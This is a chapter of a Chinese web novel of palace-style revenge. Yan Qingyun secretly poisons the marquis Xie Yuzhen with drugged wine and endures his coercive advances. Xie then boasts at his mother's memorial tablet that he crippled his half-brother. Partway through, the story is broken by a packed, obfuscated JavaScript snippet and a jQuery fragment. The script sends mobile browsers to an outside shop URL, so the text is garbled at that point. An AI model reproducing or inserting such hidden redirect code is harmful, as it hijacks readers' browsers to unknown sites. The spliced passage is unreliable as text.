晏青云没有报复的快感,只有深深的疲惫。
他又比江玉容强在哪?他所凭借的不过是谢予臻的宠爱罢了,所谓的宠爱是靠不住的。
前车之鉴,兔死狐悲。
江玉容也是个可怜人,何必借由打击江玉容来报复谢予臻呢?这岂不是变成和谢予臻一样的人吗?岂不是和谢予臻走了同一条道?
“不好看。”
晏青云说。
“侯爷,我有些累,想回去休息。”
晏青云脸带倦色,转身向云香居走去。
跟侯府正妻的交手并没有带来兴奋,反而让他开始反思。
宁大哥,你在就好了,你总是那么多主意,如果你还在我身边,一定能告诉我下一步该怎么走。
复仇者独行于黑暗中,走的久了,会不会自己变成黑暗本身?
到了那时候,宁大哥,你还能认出我吗?
江玉容的事让晏青云第一次反思起自己的路线到底对不对,或许,不要跟后宅这些人斗了,应该换一个路线?……
回到云香居,叶兰生过来伺候,给晏青云换了干爽的新衣,烧旺炉子,打好热水,服侍晏青云洗了脸。
在外人面前,晏青云装作与叶兰生不熟,进屋暖和过来之后,摆出主子的姿态说:“这里没什么事了,你退下吧。”
叶兰生低头行礼:“是。”转身走了,关上房门。
屋里燃了炉子,炉火烧得正旺,火苗红彤彤的,映得晏青云脸庞染上红晕,像西天最后一抹霞光。
晏青云坐在桌旁,给谢予臻和自己分别斟了一杯酒。
正是之前下好忘忧散的毒酒。
“侯爷,请。”
谢予臻跟晏青云碰杯。
晏青云眼看着谢予臻喝下今日份毒酒,心落了地,自己也陪了一杯。
以后他每天都会给谢予臻喂毒酒,从内部摧毁谢予臻的身体。至于自己的身体,之前试药多次,身体渐生抗药之性,所以忘忧散对他的效果没有那么大。
在晏青云的劝说下,谢予臻喝了一杯又一杯。酒意上涌,谢予臻脸色发红,伸出手去,捏着晏青云后脖颈。
他总是喜欢捏他的脖颈,他好像把他当做一只猫咪来对待。
雪天没有太阳,屋里十分昏暗,用了几盏琉璃宫灯照明。
宫灯发出微弱的光芒,晏青云穿了新换的紫罗兰色对襟褙子,与云绮锦的张扬不同,这套衣服有一种低调的朴素美感。
他侧坐着,细腰不盈一握,在摇曳的光影中,他的脸庞被勾勒出优美的轮廓。
眉如远山含黛,目如秋水横波,微一眨动,水光潋滟。
鼻梁高挺,鼻头微微上翘,给人一种清冷的感觉。
如果非要在鸡蛋里面挑骨头,找出不足之处,大约是他的下巴。
以一个男人的角度来说,他的下巴有点尖,不够稳重和成熟。
不过配上他的脸型和五官,另有一种楚楚动人的感觉。
过尖的下巴是他的缺点也是他的优点,使他与凡夫俗子区别开来。
他两根手指捏着酒杯,侧过头,灯光打下来,尖尖的下巴透露出一丝倔强和不屈。
因谢予臻的抚摸而敞开的领口处,露出蝴蝶状胎记,红得像一团烈烈燃烧的火焰。
他坐在椅子上,仿佛与世隔绝,在光影中显得那么孤独,让人不禁想要靠近,去探寻他内心深处的故事。
他是一朵罂粟花。
独自开放,惹人采摘。
谢予臻的手向内探去。
晏青云的头随谢予臻的动作倾斜,一丝秀发从额头垂落,恰巧落在谢予臻胳膊上。
谢予臻反手抓住,放在鼻下轻嗅。
“长得漂亮的人我见得多了,”谢予臻扯着他的头发说,“从来没见过你这样的。”
晏青云被扯得发根生疼,忍住疼痛,在脸上浮起一抹虚假的笑来,故意露出天鹅颈,歪着头看他。
“我很漂亮吗?我不知道,以前没人夸我。”
“难道以前宁知远不说你漂亮吗?”
宁知远……
他又提宁知远。
晏青云的笑容有些发僵,快要挂不住了。
谢予臻怎么总提宁知远?
一边想让自己忘记这个人,一边又不停在自己耳边提起这个。
他老这么提醒下去,自己还怎么忘记?
难道他实际上并不想忘记?他是在故意给我也给他自己添堵?
“你对宁知远的笑容我见过,”谢予臻将他拉至身旁,让他坐在自己腿上,“为什么你从来不那样对我笑?”
谎言的精髓在于半真半假,三分真七分假,方显真实,如果全是假话,反而容易被人揭穿。
“侯爷,”晏青云嘴角微扬,眉梢轻挑,带着几分俏皮说道,“我们彼此了解尚浅,不是吗?”
谢予臻像哄不乖的小宠物似的,揉了揉晏青云软绵的发顶。
晏青云的头发比平常人要软些,摸上去手感极佳。
谢予臻的手接着来到他的嘴唇,用拇指在他唇上轻轻摩挲,把淡淡的唇染成红艳的色彩,他的眼神很温柔,但晏青云只觉得恐惧。
即便之前两人做过那么亲密的事,对于谢予臻的简单爱抚,他还是感到不适。
“你抛弃他跟了我,会不会觉得愧疚?”
头顶上传来谢予臻说不上高兴还是生气的声音。
这话不好回。
稍有不慎会暴露内心真实情绪,好在经过昨日大婚的历练,今天已经能够应对。
“侯爷,那你抢了‘嫂子’,你会不会愧疚?”
谢予臻听了便笑。
跟晏青云在一起,他总是能笑出来。
抱着晏青云的手更加用力。
“我有什么可愧疚,这是他欠我的。”
谢予臻大言不惭。
他们过去一定有过很深的恩怨,越是接近谢予臻,越能体会到这一点。
不知道谢予臻为什么如此恨他同母异父的哥哥,想来那会是一个很长的故事。
烛火映照在谢予臻脸上,为他的面容增添了几分诡异的色彩,五官被一层阴影笼罩,深深的轮廓在光影的交错下变得模糊。他的眼睛隐藏在阴影中,露出幽幽的光芒,嘴角上扬,形成一个冷漠而嘲讽的弧度。
晏青云差一点就问出来“你为什么要这样对宁知远”,好在及时打住。
“侯爷,我有些累了,我想睡一觉,休息一下。”
于是谢予臻把晏青云放在床上,给他盖好被子,握着他的手,看他闭上眼睛,直到睡着,这才离开。
晏青云在谢予臻走后悄悄睁开眼睛,眼中没有丝毫睡意。
“兰生。”
随着晏青云一声呼唤,叶兰生立刻跑过来伺候。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077188|132451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“把我的琴拿来,我要练琴。”
另一边,谢予臻从云香居出来,坐上轿子,从怀里摸出一个皮制扁酒壶,喝了一口酒。
如果晏青云在这里,一定会发现那正是过去宁知远随身携带的扁酒壶,现在到了谢予臻手里。
不知何时开始,谢予臻喝酒越来越多,需要酒的麻醉才能入睡,连他自己都没有发现,他受宁知远影响很深。宁知远人虽然不在,整个侯府却处处是他的痕迹。
轿子路过祠堂。
谢予臻叫停。
昨日娶妾,按旧例不用拜堂,更不必去祭拜祖先,眼前既然走到这里,便进去看看。
“不用人跟着,你们都退下。”
谢予臻独自一人走进侯府祠堂。
祠堂内有神龛,神龛上供奉着谢家的祖先牌位,牌位前摆放着香炉和供品,香烟缭绕,散发出淡淡的香气。神龛两侧,挂着家族的家训和族谱。
角落里,几盏油灯发出微弱的光芒,烛火飘摇。
谢予臻的目光定格在父母的牌位上,那两块木质的牌位摆放在最前方。
他从桌上拿了一炷香,躬身拜了三拜,把香插在灵前香炉里。
母亲的牌位有些脏了,谢予臻拿起来,用袖子擦了擦。
动作极其温柔,对待他的妻妾都没有那么温柔过。
擦去浮灰,重把牌位放好。
“娘,我来看你了,想我吗?”
祠堂内烛火飘摇,暗影幢幢,白色布帘飘飘荡荡,很有几分鬼魅气氛。
“……还是更想哥哥?”
祠堂内当然没有人回答他。
一片寂静。
只有谢予臻用手指敲击桌面的声响,啪嗒,啪嗒,带着某种奇怪的韵律,听起来令人生惧,仿佛地狱里的魔物正在钻出来。
“我知道你一定更想念哥哥。”
谢予臻的身影隐藏在黑暗中,看不清他的神色。
“昨天我成亲,你知道我娶了谁吗?我娶了哥哥的心上人。”
谢予臻的声音里听起来有点得意。
“晏青云刚才问我,会不会愧疚?你觉得我应该愧疚吗?”
谢予臻笑起来。
露出两排森森的白牙,两腮肌肉抖动,在昏暗的祠堂里笑得有点恐怖。
“从小到大,你最疼他,只疼他,有什么好东西全是他的,我什么都没有。可这一次我赢了,他已经是个废人,躺在床上什么都不能做,我赢得一切。”
谢予臻抓起母亲牌位,胳膊肌肉隆起,指尖因过于用力而发白。
“宁知远永远也比不上我!谁也比不上我,我要向你证明,你错了,大错特错!”
谢予臻举起牌位。
“娘,我真想让你看看现在的宁知远是什么样子。”
他眼里发出嫉妒的光芒,深深陷入回忆中无法自拔。
“我没杀他,我留他一条命,就是为了折磨他,当年他发过誓,说什么如果不能守护我,宁愿求生不得求死不能,好,我成全他,老天爷看不见我的祈求,那我就做老天爷。”
谢予臻深吸一口气,放下牌位,面容恢复正常,只有眼底还藏着一丝丝挥之不去的疯狂。
烛火映出他的影子,影子被拉得长长的尖尖的,像一只魔物在不甘地挣扎。
太阳恰在此时完全沉入山的那一边,最后一抹阳光消逝,漫长的黑夜终于来临。